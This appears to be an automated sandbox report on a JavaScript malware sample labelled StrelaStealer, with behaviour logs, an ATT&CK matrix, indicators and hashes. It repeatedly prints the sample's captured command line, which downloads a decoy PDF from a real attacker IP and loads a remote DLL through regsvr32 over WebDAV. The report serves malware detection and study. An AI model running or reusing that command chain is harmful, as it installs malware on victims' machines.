Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3993			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5783			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 3993 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 5783 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8024	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1753841100.0000019CA013A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1753841100.0000019CA00D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2972983163.000002B6B1458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971759007.000002B6ABE13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971778707.000002B6ABE2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2612377921588116147.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2612377921588116147.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/ZA	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/nAT	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1692963689.000001DC11AAE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2972853513.000002B6B1400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/nAT	net.exe, 00000006.00000002.1753841100.0000019CA0113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1753841100.0000019CA00D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000006.00000002.1753841100.0000019CA00D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/ZA	net.exe, 00000006.00000002.1753841100.0000019CA0113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588817
Start date and time:	2025-01-11 05:54:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2612377921588116147.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.23.197.184, 23.200.0.21, 23.200.0.33, 192.168.2.4, 4.175.87.197, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:55:54	API Interceptor	22x Sleep call for process: powershell.exe modified
23:55:58	API Interceptor	1x Sleep call for process: net.exe modified
23:55:58	API Interceptor	2x Sleep call for process: svchost.exe modified
23:56:11	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073681889884705
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvre:KooCEYhgYEL0In
MD5:	B62FFB8D060930C846E77CF002492663
SHA1:	6517E068F436506470CCAC89CD0D8BDE5F488EE0
SHA-256:	8D923456A321580D8B56A7957B859C8C347322B988DCE5E882B674A5AD8D1E51
